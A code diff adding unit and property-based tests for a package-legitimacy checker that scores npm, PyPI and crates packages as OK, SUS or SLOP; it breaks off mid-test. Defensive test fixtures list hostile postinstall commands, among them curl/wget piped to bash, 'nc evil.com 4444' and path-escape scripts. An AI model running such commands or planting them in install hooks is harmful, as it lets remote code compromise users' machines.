- hasAssumedLine && hasSlopcheckUnavailableLine, - 'researcher must document [ASSUMED] fallback when slopcheck cannot run' + hasAssumedLine && hasWebSearchOrTraining, + 'researcher must document [ASSUMED] tag for packages from non-authoritative sources' ); }); }); @@ -253,7 +254,8 @@ describe('gsd-phase-researcher.md — Package Legitimacy Audit section in templa const table = parseMarkdownTable(section.body); assert.ok(table, 'Package Legitimacy Audit section must include a markdown table'); - const expected = ['Package', 'Registry', 'Age', 'Downloads', 'slopcheck', 'Disposition']; + // 'slopcheck' column renamed to 'Verdict' to reflect the code seam (gsd-tools query package-legitimacy) + const expected = ['Package', 'Registry', 'Age', 'Downloads', 'Verdict', 'Disposition']; for (const column of expected) { assert.ok(table.headers.includes(column), `audit table must have "${column}" column`); } @@ -305,9 +307,11 @@ describe('gsd-phase-researcher.md — no npx --yes auto-download', () => { assert.equal(found, false, 'researcher must not invoke npx --yes in any code block'); }); - test('ctx7 CLI fallback uses command -v guard', () => { - const found = model.codeBlocks.some((block) => hasAllTokens(block, ['command', '-v', 'ctx7'])); - assert.ok(found, 'ctx7 CLI fallback must guard with command -v ctx7 before invocation'); + test('context7 is accessed via mcp__context7__ tools (not raw CLI)', () => { + // The research-plan seam routes context7 queries; the agent calls MCP tools directly. + // Verify the provider table references mcp__context7__ rather than a raw ctx7 CLI invocation. + const hasMcpContext7 = anyLineHasAll(model.lines, ['mcp__context7__']); + assert.ok(hasMcpContext7, 'researcher must reference mcp__context7__ tools for context7 access'); }); }); diff --git a/tests/package-legitimacy.property.test.cjs b/tests/package-legitimacy.property.test.cjs new file mode 100644 index 000000000..0cbb5ad95 --- /dev/null +++ b/tests/package-legitimacy.property.test.cjs @@ -0,0 +1,127 @@ +'use strict'; + +/** + * Property-based tests for package-legitimacy.cjs + * + * RULESET.TESTS.property-based-testing: classifyPackage never throws on + * arbitrary partial signals and always returns verdict in {OK, SUS, SLOP}. + * + * Requires helpers/fast-check-setup.cjs (seeds fc globally). + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fc = require('./helpers/fast-check-setup.cjs'); + +const { classifyPackage } = require('../gsd-core/bin/lib/package-legitimacy.cjs'); + +const FIXED_MS = Date.UTC(2024, 0, 1, 0, 0, 0, 0); +const fixedClock = { now: () => FIXED_MS }; +const VALID_VERDICTS = new Set(['OK', 'SUS', 'SLOP']); + +// --------------------------------------------------------------------------- +// Arbitrary signals generator — covers partial, missing, and odd-typed fields +// --------------------------------------------------------------------------- + +const arbitrarySignals = fc.record( + { + exists: fc.oneof(fc.boolean(), fc.constant(null), fc.constant(undefined)), + publishedAt: fc.oneof( + fc.constant(null), + fc.constant(undefined), + fc.string(), + fc.date().map((d) => d.toISOString()), + fc.integer(), // non-string weirdness + ), + weeklyDownloads: fc.oneof( + fc.constant(null), + fc.constant(undefined), + fc.integer({ min: -1, max: 1_000_000 }), + fc.string(), // odd type + ), + repoUrl: fc.oneof( + fc.constant(null), + fc.constant(undefined), + fc.string(), + ), + deprecated: fc.oneof(fc.boolean(), fc.constant(null), fc.constant(undefined)), + postinstall: fc.oneof( + fc.constant(null), + fc.constant(undefined), + fc.string(), + ), + ecosystem: fc.oneof( + fc.constant('npm'), + fc.constant('pypi'), + fc.constant('crates'), + fc.constant(null), + fc.string(), + ), + }, + { requiredKeys: [] } // all fields optional +); + +// --------------------------------------------------------------------------- +// Property: classifyPackage never throws; verdict always in {OK,SUS,SLOP} +// --------------------------------------------------------------------------- + +describe('property: classifyPackage never throws on arbitrary partial signals', () => { + test('verdict is always OK | SUS | SLOP', () => { + fc.assert( + fc.property(arbitrarySignals, (signals) => { + let result; + assert.doesNotThrow(() => { + result = classifyPackage(signals, { clock: fixedClock }); + }); + assert.ok( + VALID_VERDICTS.has(result.verdict), + `Expected verdict in {OK,SUS,SLOP} but got: ${String(result.verdict)}` + ); + assert.ok(Array.isArray(result.reasons), 'reasons must be an array'); + }) + ); + }); + + test('SLOP verdict only appears when exists===false OR suspicious-postinstall', () => { + fc.assert( + fc.property(arbitrarySignals, (signals) => { + let result; + assert.doesNotThrow(() => { + result = classifyPackage(signals, { clock: fixedClock }); + }); + if (result.verdict === 'SLOP') { + const isMissingPkg = signals.exists === false; + const hasSuspiciousPostinstall = result.reasons.includes('suspicious-postinstall'); + assert.ok( + isMissingPkg || hasSuspiciousPostinstall, + 'SLOP verdict should only occur when exists===false or suspicious-postinstall is present' + ); + } + }) + ); + }); + + test('reasons is always a non-empty array when verdict is SUS or SLOP', () => { + fc.assert( + fc.property(arbitrarySignals, (signals) => { + let result; + assert.doesNotThrow(() => { + result = classifyPackage(signals, { clock: fixedClock }); + }); + if (result.verdict === 'SUS' || result.verdict === 'SLOP') { + assert.ok( + result.reasons.length > 0, + `Non-OK verdict must have at least one reason; got: ${JSON.stringify(result)}` + ); + } + if (result.verdict === 'OK') { + assert.equal( + result.reasons.length, + 0, + `OK verdict must have no reasons; got: ${JSON.stringify(result.reasons)}` + ); + } + }) + ); + }); +}); diff --git a/tests/package-legitimacy.test.cjs b/tests/package-legitimacy.test.cjs new file mode 100644 index 000000000..9f3d1b0da --- /dev/null +++ b/tests/package-legitimacy.test.cjs @@ -0,0 +1,792 @@ +'use strict'; + +/** + * TDD tests for package-legitimacy.cjs + * + * RULESET.TESTS.no-source-grep: all tests use injected fakes — no real network, + * no source-grep. Clock is injected via { now: () => FIXED_MS }. + * RULESET.TESTS.boundary-coverage: every threshold has N∈{limit-1, limit, limit+1}. + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); + +const { + DEFAULT_THRESHOLDS, + classifyPackage, + checkPackages, + _setHttpGet, +} = require('../gsd-core/bin/lib/package-legitimacy.cjs'); + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +/** Fixed clock epoch: 2024-01-01T00:00:00.000Z */ +const FIXED_MS = Date.UTC(2024, 0, 1, 0, 0, 0, 0); +const fixedClock = { now: () => FIXED_MS }; + +/** + * Build a publishedAt ISO string such that ageDays days before FIXED_MS. + */ +function publishedAt(ageDays) { + return new Date(FIXED_MS - ageDays * 86_400_000).toISOString(); +} + +/** Healthy baseline signals */ +function healthySignals(overrides = {}) { + return { + exists: true, + publishedAt: publishedAt(400), + weeklyDownloads: 50_000, + repoUrl: 'https://github.com/example/pkg', + deprecated: false, + postinstall: null, + ecosystem: 'npm', + ...overrides, + }; +} + +/** Fake registry that always returns healthy signals */ +function fakeRegistry(signalsByName = {}) { + return { + lookup: async (_eco, name) => { + if (signalsByName[name] !== undefined) return signalsByName[name]; + return healthySignals(); + }, + }; +} + +// --------------------------------------------------------------------------- +// Cycle 1 — TRACER: one npm pkg, all healthy -> OK +// --------------------------------------------------------------------------- + +describe('Cycle 1 — tracer: one npm package, healthy signals → OK', () => { + test('checkPackages returns [{ name, verdict:"OK", reasons:[] }]', async () => { + const registry = fakeRegistry(); + const results = await checkPackages( + { ecosystem: 'npm', packages: ['lodash'], version: '4.17.21' }, + { registry, clock: fixedClock } + ); + + assert.ok(Array.isArray(results), 'result is array'); + assert.equal(results.length, 1); + const r = results[0]; + assert.equal(r.name, 'lodash'); + assert.equal(r.verdict, 'OK'); + assert.deepEqual(r.reasons, []); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 2 — nonexistent: exists:false -> SLOP, does-not-exist +// --------------------------------------------------------------------------- + +describe('Cycle 2 — nonexistent package → SLOP', () => { + test('fake registry returns { exists:false } -> verdict SLOP, reason does-not-exist', async () => { + const registry = fakeRegistry({ 'no-such-pkg': { exists: false } }); + const results = await checkPackages( + { ecosystem: 'npm', packages: ['no-such-pkg'] }, + { registry, clock: fixedClock } + ); + + assert.equal(results.length, 1); + const r = results[0]; + assert.equal(r.verdict, 'SLOP'); + assert.ok(r.reasons.includes('does-not-exist'), `reasons: ${r.reasons}`); + }); + + test('classifyPackage with exists:false is terminal and returns only does-not-exist', () => { + const { verdict, reasons } = classifyPackage({ exists: false }, { clock: fixedClock }); + assert.equal(verdict, 'SLOP'); + assert.deepEqual(reasons, ['does-not-exist']); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 3 — AGE BOUNDARY (minAgeDays=30): 29 → too-new; 30 → OK; 31 → OK +// --------------------------------------------------------------------------- + +describe('Cycle 3 — age boundary (minAgeDays=30)', () => { + const thresholds = { ...DEFAULT_THRESHOLDS, minAgeDays: 30 }; + + test('ageDays=29 → reason too-new (SUS)', () => { + const signals = healthySignals({ publishedAt: publishedAt(29) }); + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(reasons.includes('too-new'), `reasons: ${reasons}`); + assert.equal(verdict, 'SUS'); + }); + + test('ageDays=30 → NOT too-new', () => { + const signals = healthySignals({ publishedAt: publishedAt(30) }); + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(!reasons.includes('too-new'), `reasons unexpectedly includes too-new: ${reasons}`); + // should be OK (other signals healthy) + assert.equal(verdict, 'OK'); + }); + + test('ageDays=31 → NOT too-new', () => { + const signals = healthySignals({ publishedAt: publishedAt(31) }); + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(!reasons.includes('too-new'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 4 — DOWNLOADS BOUNDARY (minWeeklyDownloads=1000) +// --------------------------------------------------------------------------- + +describe('Cycle 4 — downloads boundary (minWeeklyDownloads=1000)', () => { + const thresholds = { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000 }; + + test('weeklyDownloads=999 → low-downloads (SUS)', () => { + const signals = healthySignals({ weeklyDownloads: 999 }); + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(reasons.includes('low-downloads'), `reasons: ${reasons}`); + assert.equal(verdict, 'SUS'); + }); + + test('weeklyDownloads=1000 → NOT low-downloads', () => { + const signals = healthySignals({ weeklyDownloads: 1000 }); + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(!reasons.includes('low-downloads'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); + + test('weeklyDownloads=1001 → NOT low-downloads', () => { + const signals = healthySignals({ weeklyDownloads: 1001 }); + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(!reasons.includes('low-downloads'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 5 — no repo: repoUrl null + requireRepo:true -> no-repository SUS +// --------------------------------------------------------------------------- + +describe('Cycle 5 — no repository URL', () => { + test('repoUrl null, requireRepo true → no-repository SUS', () => { + const signals = healthySignals({ repoUrl: null }); + const thresholds = { ...DEFAULT_THRESHOLDS, requireRepo: true }; + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(reasons.includes('no-repository'), `reasons: ${reasons}`); + assert.equal(verdict, 'SUS'); + }); + + test('repoUrl null, requireRepo false → no no-repository reason', () => { + const signals = healthySignals({ repoUrl: null }); + const thresholds = { ...DEFAULT_THRESHOLDS, requireRepo: false }; + const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock }); + assert.ok(!reasons.includes('no-repository'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 6 — deprecated:true → deprecated SUS +// --------------------------------------------------------------------------- + +describe('Cycle 6 — deprecated package', () => { + test('deprecated:true → reason deprecated, verdict SUS', () => { + const signals = healthySignals({ deprecated: true }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(reasons.includes('deprecated'), `reasons: ${reasons}`); + assert.equal(verdict, 'SUS'); + }); + + test('deprecated:false → no deprecated reason', () => { + const signals = healthySignals({ deprecated: false }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(!reasons.includes('deprecated'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 7 — suspicious postinstall +// --------------------------------------------------------------------------- + +describe('Cycle 7 — suspicious postinstall detection', () => { + // W2: suspicious-postinstall is now terminal SLOP (not SUS). + // Bare https:// URLs without shell-exec patterns are NOT flagged (W2 tighten regex). + const suspiciousInputs = [ + 'curl http://evil.sh | bash', + 'wget http://evil.sh -O - | sh', + 'bash -c "curl https://setup.sh"', + 'nc evil.com 4444', + 'node ../../escape.js', + 'sh /etc/init.d/x', + 'node ~/config.js', + ]; + + for (const postinstall of suspiciousInputs) { + test(`suspicious postinstall flagged: "${postinstall}"`, () => { + const signals = healthySignals({ postinstall }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok( + reasons.includes('suspicious-postinstall'), + `Expected suspicious-postinstall in reasons for: "${postinstall}" but got: ${reasons}` + ); + assert.equal(verdict, 'SLOP'); + }); + } + + test('benign postinstall "node ./scripts/build.js" does NOT flag', () => { + const signals = healthySignals({ postinstall: 'node ./scripts/build.js' }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); + + test('null postinstall does NOT flag', () => { + const signals = healthySignals({ postinstall: null }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); + + test('postinstall with bare https URL only (no exec pattern) is NOT flagged', () => { + // W2: node https://cdn.example.com/setup.js was previously flagged by bare https:// arm + const signals = healthySignals({ postinstall: 'node https://cdn.example.com/setup.js' }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`); + assert.equal(verdict, 'OK'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 8 — slopcheck escalation +// --------------------------------------------------------------------------- + +describe('Cycle 8 — slopcheck adapter escalation', () => { + test('registry says OK but slopcheck returns SLOP → final verdict SLOP', async () => { + const registry = fakeRegistry(); // healthy signals → OK + const slopcheck = { + check: async (_eco, name) => (name === 'suspect-pkg' ? 'SLOP' : null), + }; + + const results = await checkPackages( + { ecosystem: 'npm', packages: ['suspect-pkg'] }, + { registry, clock: fixedClock, slopcheck } + ); + + assert.equal(results.length, 1); + assert.equal(results[0].verdict, 'SLOP'); + }); + + test('slopcheck returns SUS, registry OK → final verdict SUS (escalation)', async () => { + const registry = fakeRegistry(); + const slopcheck = { + check: async (_eco, name) => (name === 'shady-pkg' ? 'SUS' : null), + }; + + const results = await checkPackages( + { ecosystem: 'npm', packages: ['shady-pkg'] }, + { registry, clock: fixedClock, slopcheck } + ); + + assert.equal(results[0].verdict, 'SUS'); + }); + + test('slopcheck returns OK, registry OK → verdict stays OK (no escalation)', async () => { + const registry = fakeRegistry(); + const slopcheck = { + check: async () => 'OK', + }; + + const results = await checkPackages( + { ecosystem: 'npm', packages: ['good-pkg'] }, + { registry, clock: fixedClock, slopcheck } + ); + + assert.equal(results[0].verdict, 'OK'); + }); + + test('NO slopcheck provided → registry verdict stands, no degradation', async () => { + const registry = fakeRegistry(); // healthy → OK + const results = await checkPackages( + { ecosystem: 'npm', packages: ['some-pkg'] }, + { registry, clock: fixedClock } + // no slopcheck + ); + + assert.equal(results[0].verdict, 'OK'); + assert.deepEqual(results[0].reasons, []); + }); + + test('slopcheck returns null (no opinion) → registry verdict stands', async () => { + const registry = fakeRegistry(); + const slopcheck = { + check: async () => null, + }; + + const results = await checkPackages( + { ecosystem: 'npm', packages: ['neutral-pkg'] }, + { registry, clock: fixedClock, slopcheck } + ); + + assert.equal(results[0].verdict, 'OK'); + }); +}); + +// --------------------------------------------------------------------------- +// Missing/partial signals handling +// --------------------------------------------------------------------------- + +describe('Missing/partial signals — never throws, sensible defaults', () => { + test('missing publishedAt → unknown-age SUS reason', () => { + const signals = healthySignals({ publishedAt: null }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(reasons.includes('unknown-age'), `reasons: ${reasons}`); + assert.equal(verdict, 'SUS'); + }); + + test('missing weeklyDownloads → unknown-downloads SUS reason', () => { + const signals = healthySignals({ weeklyDownloads: null }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(reasons.includes('unknown-downloads'), `reasons: ${reasons}`); + assert.equal(verdict, 'SUS'); + }); + + test('multiple issues collected at once (deprecated + no-repo + low-downloads)', () => { + const signals = healthySignals({ + deprecated: true, + repoUrl: null, + weeklyDownloads: 0, + }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(reasons.includes('deprecated'), `deprecated missing: ${reasons}`); + assert.ok(reasons.includes('no-repository'), `no-repository missing: ${reasons}`); + assert.ok(reasons.includes('low-downloads'), `low-downloads missing: ${reasons}`); + assert.equal(verdict, 'SUS'); + }); +}); + +// --------------------------------------------------------------------------- +// REGRESSION W1 — 404 → exists:false → SLOP for ALL ecosystems +// (uses _setHttpGet transport injection into the real adapters) +// --------------------------------------------------------------------------- + +describe('W1 — 404 response → SLOP for all ecosystems', () => { + const notFoundTransport = async (_url, _timeoutMs) => ({ statusCode: 404, body: 'Not Found' }); + + test('npm 404 → signals.exists===false, verdict SLOP', async () => { + _setHttpGet(notFoundTransport); + try { + const results = await checkPackages( + { ecosystem: 'npm', packages: ['ghost-npm-pkg'] }, + { clock: fixedClock } + ); + assert.equal(results.length, 1); + assert.equal(results[0].signals.exists, false, `npm 404 should set exists:false, got: ${results[0].signals.exists}`); + assert.equal(results[0].verdict, 'SLOP', `npm 404 should produce SLOP, got: ${results[0].verdict}`); + assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`); + } finally { + _setHttpGet(null); + } + }); + + test('pypi 404 → signals.exists===false, verdict SLOP', async () => { + _setHttpGet(notFoundTransport); + try { + const results = await checkPackages( + { ecosystem: 'pypi', packages: ['ghost-pypi-pkg'] }, + { clock: fixedClock } + ); + assert.equal(results.length, 1); + assert.equal(results[0].signals.exists, false, `pypi 404 should set exists:false, got: ${results[0].signals.exists}`); + assert.equal(results[0].verdict, 'SLOP', `pypi 404 should produce SLOP, got: ${results[0].verdict}`); + assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`); + } finally { + _setHttpGet(null); + } + }); + + test('crates 404 → signals.exists===false, verdict SLOP', async () => { + _setHttpGet(notFoundTransport); + try { + const results = await checkPackages( + { ecosystem: 'crates', packages: ['ghost-crate'] }, + { clock: fixedClock } + ); + assert.equal(results.length, 1); + assert.equal(results[0].signals.exists, false, `crates 404 should set exists:false, got: ${results[0].signals.exists}`); + assert.equal(results[0].verdict, 'SLOP', `crates 404 should produce SLOP, got: ${results[0].verdict}`); + assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`); + } finally { + _setHttpGet(null); + } + }); + + test('2xx with valid body → exists:true, not SLOP', async () => { + const npmPayload = JSON.stringify({ + 'dist-tags': { latest: '1.0.0' }, + versions: { '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } } }, + time: { '1.0.0': new Date(FIXED_MS - 90 * 86_400_000).toISOString() }, + }); + let call = 0; + const okTransport = async (_url, _timeoutMs) => { + call++; + if (call === 1) return { statusCode: 200, body: npmPayload }; + // downloads API second call + return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) }; + }; + _setHttpGet(okTransport); + try { + const results = await checkPackages( + { ecosystem: 'npm', packages: ['real-pkg'] }, + { clock: fixedClock } + ); + assert.equal(results[0].signals.exists, true, `2xx should set exists:true`); + } finally { + _setHttpGet(null); + } + }); +}); + +// --------------------------------------------------------------------------- +// REGRESSION W2 — suspicious-postinstall is terminal SLOP; tighten regex +// --------------------------------------------------------------------------- + +describe('W2 — suspicious postinstall is terminal SLOP', () => { + test('curl|bash postinstall → verdict SLOP (not SUS)', () => { + const signals = healthySignals({ postinstall: 'curl https://evil.sh | bash' }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`); + assert.equal(verdict, 'SLOP', `curl|bash should produce SLOP, got: ${verdict}`); + }); + + test('wget|sh postinstall → verdict SLOP', () => { + const signals = healthySignals({ postinstall: 'wget http://evil.sh | sh' }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok(reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`); + assert.equal(verdict, 'SLOP', `wget|sh should produce SLOP, got: ${verdict}`); + }); + + test('postinstall with bare https:// URL only (no exec) → NOT flagged, verdict OK', () => { + // e.g. esbuild-style: "node install.js" script that happens to echo a URL + const signals = healthySignals({ postinstall: 'echo see https://example.com for docs' }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok( + !reasons.includes('suspicious-postinstall'), + `bare https URL should NOT flag suspicious-postinstall, got reasons: ${reasons}` + ); + assert.equal(verdict, 'OK', `bare https URL postinstall should be OK, got: ${verdict}`); + }); + + test('postinstall "node install.js" with an https URL in it → NOT flagged', () => { + // Legit pattern used by esbuild, sharp, etc. + const signals = healthySignals({ postinstall: 'node install.js # see https://example.com' }); + const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock }); + assert.ok( + !reasons.includes('suspicious-postinstall'), + `node install.js should not flag, got reasons: ${reasons}` + ); + assert.equal(verdict, 'OK'); + }); +}); + +// --------------------------------------------------------------------------- +// REGRESSION I3 — version parameter passed through to registry.lookup +// --------------------------------------------------------------------------- + +describe('I3 — version parameter forwarded to registry.lookup', () => { + test('checkPackages passes version to registry.lookup', async () => { + const calls = []; + const recordingRegistry = { + lookup: async (eco, name, version) => { + calls.push({ eco, name, version }); + return healthySignals(); + }, + }; + + await checkPackages( + { ecosystem: 'npm', packages: ['my-pkg'], version: '1.2.3' }, + { registry: recordingRegistry, clock: fixedClock } + ); + + assert.equal(calls.length, 1); + assert.equal(calls[0].version, '1.2.3', `Expected version '1.2.3' to be forwarded but got: ${calls[0].version}`); + }); + + test('when version omitted, registry.lookup called with undefined version', async () => { + const calls = []; + const recordingRegistry = { + lookup: async (eco, name, version) => { + calls.push({ eco, name, version }); + return healthySignals(); + }, + }; + + await checkPackages( + { ecosystem: 'npm', packages: ['my-pkg'] }, + { registry: recordingRegistry, clock: fixedClock } + ); + + assert.equal(calls.length, 1); + assert.equal(calls[0].version, undefined, `Without version, should pass undefined, got: ${calls[0].version}`); + }); + + test('injected transport: requested version absent from npm registry → exists:false → SLOP', async () => { + // npm response has only version '1.0.0', we request '2.0.0' + const npmPayload = JSON.stringify({ + 'dist-tags': { latest: '1.0.0' }, + versions: { '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } } }, + time: { '1.0.0': new Date(FIXED_MS - 90 * 86_400_000).toISOString() }, + }); + let callCount = 0; + const transport = async (_url, _timeoutMs) => { + callCount++; + if (callCount === 1) return { statusCode: 200, body: npmPayload }; + return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) }; + }; + _setHttpGet(transport); + try { + const results = await checkPackages( + { ecosystem: 'npm', packages: ['my-pkg'], version: '2.0.0' }, + { clock: fixedClock } + ); + assert.equal(results[0].signals.exists, false, `Absent version should set exists:false, got: ${results[0].signals.exists}`); + assert.equal(results[0].verdict, 'SLOP', `Absent version should produce SLOP, got: ${results[0].verdict}`); + } finally { + _setHttpGet(null); + } + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 2 REGRESSION — version-specific age uses version-level metadata +// Package-level/first-publish is OLD (>1yr) but requested version is 2 days old. +// With version provided, publishedAt must reflect the requested version → too-new. +// --------------------------------------------------------------------------- + +describe('Finding 2 — version-specific publishedAt from requested version, not package-level', () => { + // Fixed clock: 2024-01-01 + const F2_FIXED_MS = Date.UTC(2024, 0, 1, 0, 0, 0, 0); + const f2Clock = { now: () => F2_FIXED_MS }; + + // Package-level first-publish: 2 years ago (old, would NOT be too-new) + const packageLevelOld = new Date(F2_FIXED_MS - 730 * 86_400_000).toISOString(); + // Requested version published: 2 days ago (new, SHOULD trigger too-new) + const versionRecent = new Date(F2_FIXED_MS - 2 * 86_400_000).toISOString(); + + test('npm: version-specific publishedAt is recent → too-new (not old package-level date)', async () => { + // npm payload: package existed for 2yr, but the requested version 2.0.0 was published 2d ago + const npmPayload = JSON.stringify({ + 'dist-tags': { latest: '1.0.0' }, + versions: { + '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } }, + '2.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } }, + }, + time: { + created: packageLevelOld, + '1.0.0': packageLevelOld, + '2.0.0': versionRecent, // requested version is recent + modified: new Date(F2_FIXED_MS - 1 * 86_400_000).toISOString(), + }, + }); + let callCount = 0; + const transport = async (_url, _timeoutMs) => { + callCount++; + if (callCount === 1) return { statusCode: 200, body: npmPayload }; + return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) }; + }; + _setHttpGet(transport); + try { + const results = await checkPackages( + { ecosystem: 'npm', packages: ['old-pkg-new-version'], version: '2.0.0' }, + { clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } } + ); + assert.equal(results.length, 1); + const r = results[0]; + // publishedAt should be versionRecent (2 days ago), not packageLevelOld + assert.ok( + r.signals.publishedAt === versionRecent, + `npm: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}` + ); + assert.ok( + r.reasons.includes('too-new'), + `npm: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}` + ); + } finally { + _setHttpGet(null); + } + }); + + test('pypi: version-specific upload_time is recent → too-new (not package-level urls[0])', async () => { + // PyPI payload: urls[] is for latest release (old), but releases['2.0.0'] is recent + const pypiPayload = JSON.stringify({ + info: { + name: 'old-pypi-pkg', + project_urls: { Source: 'https://github.com/x/y' }, + home_page: null, + }, + urls: [ + // This is the package-level / latest-release upload time (old) + { upload_time_iso_8601: packageLevelOld }, + ], + releases: { + '1.0.0': [{ upload_time_iso_8601: packageLevelOld }], + '2.0.0': [{ upload_time_iso_8601: versionRecent }], // requested version is recent + }, + }); + const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: pypiPayload }); + _setHttpGet(transport); + try { + const results = await checkPackages( + { ecosystem: 'pypi', packages: ['old-pypi-pkg'], version: '2.0.0' }, + { clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } } + ); + assert.equal(results.length, 1); + const r = results[0]; + assert.ok( + r.signals.publishedAt === versionRecent, + `pypi: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}` + ); + assert.ok( + r.reasons.includes('too-new'), + `pypi: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}` + ); + } finally { + _setHttpGet(null); + } + }); + + test('crates: version-specific created_at is recent → too-new (not crate.created_at)', async () => { + const cratesPayload = JSON.stringify({ + crate: { + name: 'old-crate', + repository: 'https://github.com/x/y', + created_at: packageLevelOld, // package first-created: old + recent_downloads: 50000, + }, + versions: [ + { num: '1.0.0', created_at: packageLevelOld }, + { num: '2.0.0', created_at: versionRecent }, // requested version is recent + ], + }); + const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload }); + _setHttpGet(transport); + try { + const results = await checkPackages( + { ecosystem: 'crates', packages: ['old-crate'], version: '2.0.0' }, + { clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } } + ); + assert.equal(results.length, 1); + const r = results[0]; + assert.ok( + r.signals.publishedAt === versionRecent, + `crates: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}` + ); + assert.ok( + r.reasons.includes('too-new'), + `crates: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}` + ); + } finally { + _setHttpGet(null); + } + }); + + // --------------------------------------------------------------------------- + // FINDING 2 REGRESSION: crates recent_downloads (90d) vs weekly threshold + // Without normalization: recent_downloads=5000 >= minWeeklyDownloads=1000 → no low-downloads + // With normalization: 5000 * 7 / 90 ≈ 389/week < 1000 → low-downloads (SUS) + // --------------------------------------------------------------------------- + + test('FINDING-2 crates: recent_downloads=5000 (≈389/wk) → low-downloads after normalization', async () => { + // recent_downloads is a 90-DAY count. Without normalization the raw 5000 >= 1000 threshold + // passes, so no low-downloads reason is emitted — that is WRONG. + // After fix: Math.round(5000 * 7 / 90) = 389 < 1000 → low-downloads (SUS). + const cratesPayload = JSON.stringify({ + crate: { + name: 'low-dl-crate', + repository: 'https://github.com/x/y', + created_at: packageLevelOld, + recent_downloads: 5000, // 90-day count; ≈389/week (below 1000) + }, + versions: [{ num: '1.0.0', created_at: packageLevelOld }], + }); + const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload }); + _setHttpGet(transport); + try { + const results = await checkPackages( + { ecosystem: 'crates', packages: ['low-dl-crate'] }, + { clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000, requireRepo: false } } + ); + assert.equal(results.length, 1); + const r = results[0]; + assert.ok( + r.reasons.includes('low-downloads'), + `FINDING-2: crates recent_downloads=5000 (≈389/wk) should yield low-downloads after 90d→weekly normalization. reasons: ${r.reasons}` + ); + assert.equal(r.verdict, 'SUS', `expected SUS, got ${r.verdict}`); + } finally { + _setHttpGet(null); + } + }); + + test('FINDING-2 crates: recent_downloads=20000 (≈1556/wk) → NOT low-downloads', async () => { + // Math.round(20000 * 7 / 90) = 1556 >= 1000 → OK + const cratesPayload = JSON.stringify({ + crate: { + name: 'good-dl-crate', + repository: 'https://github.com/x/y', + created_at: packageLevelOld, + 